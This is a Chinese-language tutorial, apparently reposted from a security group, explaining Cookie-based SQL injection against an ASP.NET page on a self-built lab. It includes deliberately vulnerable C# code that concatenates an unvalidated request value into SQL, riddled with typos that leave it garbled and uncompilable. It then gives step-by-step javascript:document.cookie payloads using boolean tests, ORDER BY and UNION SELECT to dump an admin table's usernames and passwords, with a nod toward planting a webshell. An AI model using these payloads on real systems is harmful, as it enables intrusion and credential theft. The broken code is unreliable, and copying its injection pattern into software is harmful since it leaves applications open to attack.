菜鸟详细解析Cookie注入原理

菜鸟详细解析Cookie注入原理

一、SQL注入原理

以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request[“id”],这样的写法问题就出现了。我先普及下科普知识,在aspx中Request.QueryString[“id”]用于接收get提交的数据,Request.Form[“id”]用于接收post提交的数据。如果不指定使用QueryString还是Form接收数据,WEB服务是怎样读取数据的呢,他是先取GET中的数据没有取到,再取POST中的数据如果还没有,在去取Cookies中的数据。这样Cookie注入就产生了。

二、测试环境

ASP.NET+SQL server

ASP.NET代码:

Aspx文件有两个。

Default,aspx页面代码

protected void page Load(object sender,EwentArgs e)

{

string id=Request{"id"}.ToString();

string connuser=@"Data Source=;lnitial

Catalog=CookieDemo;lntegrated Sccurity=True";

string xx=Server.UrlDecode(id);

steing sql="select*from Cookie where id="=xx

SqlConncction conn=new

SqlConnection(connuser);

conn Open();

Sqlcommand comm""new

Sqlcommand(sql,conn);

SqlDataReader datare=comm,ExecureReader();

while(datare.Read())

{

Response.Write(datare{"name"}

}

conn.Close();

}

Test页面代码

Cookie测试

数据库:

数据库建库建表代码我就不写出来了,为了节省点版面。

三、实战演习

我们先访问Default.aspx。点击“Cookie测试”跳转到test.aspx?id=2页面,参数为id值为“2”,test.aspx页面中显示出了数据库中id为“2”相应的值。

现在我们把地址栏中的?id=2删除掉就成了,然后在浏览,出错了。

返回了错误页面什么数据也没有,这是必然的学过脚本语言的同学很容易理解这个问题,我们没有在浏览器传达id的值,所以Request在接收id的值的时候就什么也没有获取到。这样sql语句就会出现错误,必然会返错误页面,现在我们在把地址栏中的url删除掉,在地址栏输入“javascript:alert(document.cookie="id="+escape("3"));”浏览一下弹出个提示框。

现在我们在来访问一下这个不带参数的链接,就出来了id=3的相应的值。

为了方便不懂javascript的朋友危险漫步简单介绍下。

javascript:alert(document.cookie="id="+escape("3"));的意思,我说明一下document.cookie="id="+escape("3")就是把3保存到Cookies的id中。这样在过滤了Form,QueryString提交而没有过滤Cookie的时候,就能够Cookie注入了…基本原理就是这些了,现在实战操作下……

在地址栏输入“javascript:alert(document.cookie="id="+escape("3 and 1=1¨))”提交一下,然后在在刷新下页面出现了id=3的数据。然后在地址栏输入“javascript:alert(document.cookie="id="+escape("3 and l=2"))”浏览一下弹出现在在刷新下页面出现了空白页面。

两次返回不一样证明可以注入,我用Cookie注入演示怎么爆破出管理员账号密码,和常规的sql注入一样只不过是要用到Javascript,还是先判断字段然后在地址栏输入“javascript:alert(document.cookie="id="+escape("3 order by 2"))”提交以后刷新返回正常。

然后在地址栏输入“javascript:alert(document.cookie="id="+escape("3 0rder by 3"))”,返回错误。

确定字段数为2个javascript:alert(document.cookie="id="+escape("3 union select l,'2'"))。然后刷新就爆破出了数字2相应的位置。我自己搭建的环境测试,就不猜表了admin表是管理员表,表中有id,username,pass这3个字段,在真实的渗透中这些是需要自己去猜的。现在我们提交javascript:alert(document.cookie="id="+escape("3 union select 1,username from admin"))后刷新就爆破出了用户名。然后输入javascript:alert(document.cookie="id="+escape("3 union select 1,pass from admin"))刷新下页面密码就出来了。

账号密码都有了剩下的就是想办法后台拿Webshell了,由于我没有写后台测试页面,文章就到这了。这就是Cookie注入,希望对大家有帮助,SEE YOU。

本文由掘安技术小组研究室综合网络整理,图片来源于网络;转载请注明”转自掘安技术小组研究室“,并附上链接。

维权通道(客服中心):

投稿| ※许心痕

照片| ※许心痕※

责编| ※许心痕※

编辑| ※许心痕※

审核| ※许心痕※

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180313A0RYZL00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券